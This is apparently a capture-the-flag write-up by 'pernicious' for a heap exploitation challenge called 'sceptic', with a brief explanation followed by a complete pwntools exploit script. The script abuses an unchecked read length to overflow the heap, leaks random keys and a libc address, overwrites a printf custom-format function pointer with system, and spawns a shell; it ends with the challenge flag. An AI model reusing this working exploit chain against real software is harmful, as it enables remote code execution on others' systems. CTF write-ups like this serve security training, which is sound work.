Rating:

When you give it a size, it proceeds to call read(0, buf, len-1) without checking for 0, so does read(...,-1) and gives us an easy heap smash :D

We target another note struct on the heap, and overwrite its size field to 0xffffffffffffffff so we can edit anywhere. From there we get the necessary leaks.

The custom format specifier has some sort of structure for it allocated on the heap, which stores the two function pointers for the printf_arginfo_size_function and printf_function, so we can overwrite one of those to get control. Specifically, the arginfo function is called with a printf_info structure argument, and the first field in that structure is the precision (.17). so we can have this be "sh\0" with .26739.

Based on the challenge author's writeup, I don't think this was the intended solution :P

from pwn import *
import sys

context.update(arch='amd64')
libc = ELF("./libc.so.6",False)

if 'rem' in sys.argv:
    r = remote("flatearth.fluxfingers.net", 1748)
else:
    r = process("./sceptic", env={"LD_PRELOAD":"./libc.so.6"})

def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])

menu = "> "
def add(data, sz=None, subj=None):
    if sz == None:
        sz = len(data)+1
    r.sendafter(menu, "1\n")
    r.sendafter(menu, str(sz)+'\n')
    if subj:
        r.sendafter(menu, "y")
        r.sendafter(menu, subj)
    else:
        r.sendafter(menu, "n")
    r.sendafter(menu, data)
def view(idx, fmt=''):
    r.sendafter(menu, "3\n")
    r.sendafter(menu, str(idx)+'\n')
    r.sendafter(menu, fmt.ljust(0xf,'\0'))
def edit(idx, data, start_idx=0, sz=-1):
    if sz == -1:
        sz = len(data)
    r.sendafter(menu, "2\n")
    r.sendafter(menu, str(idx)+'\n')
    r.sendafter(menu, str(start_idx)+'\n')
    r.sendafter(menu, str(sz)+'\n')
    r.sendafter(menu, data)

add("A"*0x28, 0x200)
view(0,"#.64") #malloc fastbin 0x30
add("B"*0x20) #victim note after fastbin 0x30

pl = fit({
    0x10:0xffffffffffffffff, #heap metadata, whatever, set to non-null for %s leak
    0x28:0xffffffffffffffff #set size, edit anywhere
    }, filler="C")
add(pl, 0) #gives fastbin 0x30, then trash victim note

edit(1, "\0"*0x10, -0x48) #encrypt some 0s in subject field (printed without xoring)
view(2) #leak rands
r.recvuntil("Subject: ")
rands = r.recvn(7)+"\0"
print "RANDS: "+rands.encode('hex')

view(0, "#.64")
edit(0, "A"*0x48)
view(0, "#.64")
edit(0, "A"*0x68)
view(0, "#.64")
edit(0, "A"*0x88)
view(0, "#.64")
edit(0, "A"*0x100)
view(0, "#.64") #consolidate, libc pointers in free chunk

edit(1, xor("A"*0x10+p64(0xffffffffffffffff), rands), 0x20) #remove nulls for libc leak
view(2) #leak libc bin pointers
r.recvuntil("A"*0x10+p64(0xffffffffffffffff))
libc.address = u64(r.recvline().strip().ljust(8,'\0'))-0x3c4b78
print "LIBC: "+hex(libc.address)

edit(1, xor(p64(libc.symbols['system']), rands), -0x1078) #custom specifier function pointer on heap
view(2, ".%d"%(u16("sh"))) #first field in printf_info is precision :D

#FLAG{t4v1s_4ssum3d_1t_in_2k14}
r.interactive()

Author: pernicious